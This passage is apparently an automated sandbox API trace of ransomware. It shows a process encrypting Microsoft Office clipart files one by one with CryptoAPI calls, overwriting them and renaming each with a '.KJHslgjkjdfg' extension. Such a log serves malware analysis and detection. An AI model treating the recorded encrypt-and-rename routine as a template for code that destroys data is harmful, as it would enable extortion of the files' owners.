out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.813] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.813] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.813] GetProcessHeap () returned 0x2a0000 [0182.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.813] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.814] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.814] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.814] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.814] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.814] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.814] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.814] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.814] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.814] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2ae8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2ae8, lpOverlapped=0x0) returned 1 [0182.815] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2af0, dwBufLen=0x2af0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2af0) returned 1 [0182.815] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.815] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2af0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2af0, lpOverlapped=0x0) returned 1 [0182.815] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.815] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.815] SetEndOfFile (hFile=0x114) returned 1 [0182.818] GetProcessHeap () returned 0x2a0000 [0182.818] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.818] GetProcessHeap () returned 0x2a0000 [0182.818] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.818] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf.kjhslgjkjdfg")) returned 1 [0182.819] CloseHandle (hObject=0x114) returned 1 [0182.819] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a5a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0301418.WMF", cAlternateFileName="")) returned 1 [0182.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.821] GetProcessHeap () returned 0x2a0000 [0182.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.821] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.821] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0182.823] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.823] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.823] GetProcessHeap () returned 0x2a0000 [0182.823] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.823] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.823] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.823] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.823] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.823] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.823] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.823] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.823] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.823] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.824] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.824] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4a5a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4a5a, lpOverlapped=0x0) returned 1 [0182.825] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4a60, dwBufLen=0x4a60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4a60) returned 1 [0182.825] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.825] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4a60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4a60, lpOverlapped=0x0) returned 1 [0182.825] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.825] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.825] SetEndOfFile (hFile=0x114) returned 1 [0182.827] GetProcessHeap () returned 0x2a0000 [0182.827] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.827] GetProcessHeap () returned 0x2a0000 [0182.827] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf.kjhslgjkjdfg")) returned 1 [0182.829] CloseHandle (hObject=0x114) returned 1 [0182.829] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dfa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0301432.WMF", cAlternateFileName="")) returned 1 [0182.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.830] GetProcessHeap () returned 0x2a0000 [0182.830] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.830] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.830] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.830] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0182.832] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.832] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.832] GetProcessHeap () returned 0x2a0000 [0182.832] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.832] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.832] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.832] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.832] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.832] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.832] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.832] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.832] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.832] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.833] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.833] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4dfa, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4dfa, lpOverlapped=0x0) returned 1 [0182.834] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4e00, dwBufLen=0x4e00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4e00) returned 1 [0182.834] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.834] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4e00, lpOverlapped=0x0) returned 1 [0182.834] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.834] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.834] SetEndOfFile (hFile=0x114) returned 1 [0182.836] GetProcessHeap () returned 0x2a0000 [0182.836] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.836] GetProcessHeap () returned 0x2a0000 [0182.836] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf.kjhslgjkjdfg")) returned 1 [0182.838] CloseHandle (hObject=0x114) returned 1 [0182.838] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0304371.WMF", cAlternateFileName="")) returned 1 [0182.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.839] GetProcessHeap () returned 0x2a0000 [0182.839] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.839] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.839] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.839] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.839] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.839] GetProcessHeap () returned 0x2a0000 [0182.839] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.839] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.839] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.839] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.841] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.841] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.841] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.842] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.842] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.842] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.842] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.842] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.842] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe20, lpOverlapped=0x0) returned 1 [0182.842] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe20, dwBufLen=0xe20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe20) returned 1 [0182.842] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.842] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe20, lpOverlapped=0x0) returned 1 [0182.842] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.842] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.842] SetEndOfFile (hFile=0x114) returned 1 [0182.845] GetProcessHeap () returned 0x2a0000 [0182.845] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.845] GetProcessHeap () returned 0x2a0000 [0182.845] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf.kjhslgjkjdfg")) returned 1 [0182.846] CloseHandle (hObject=0x114) returned 1 [0182.846] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x103e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0304405.WMF", cAlternateFileName="")) returned 1 [0182.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.848] GetProcessHeap () returned 0x2a0000 [0182.848] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.848] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.848] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.849] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0182.850] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.850] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.850] GetProcessHeap () returned 0x2a0000 [0182.850] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.850] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.850] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.851] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.851] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.851] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.851] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: 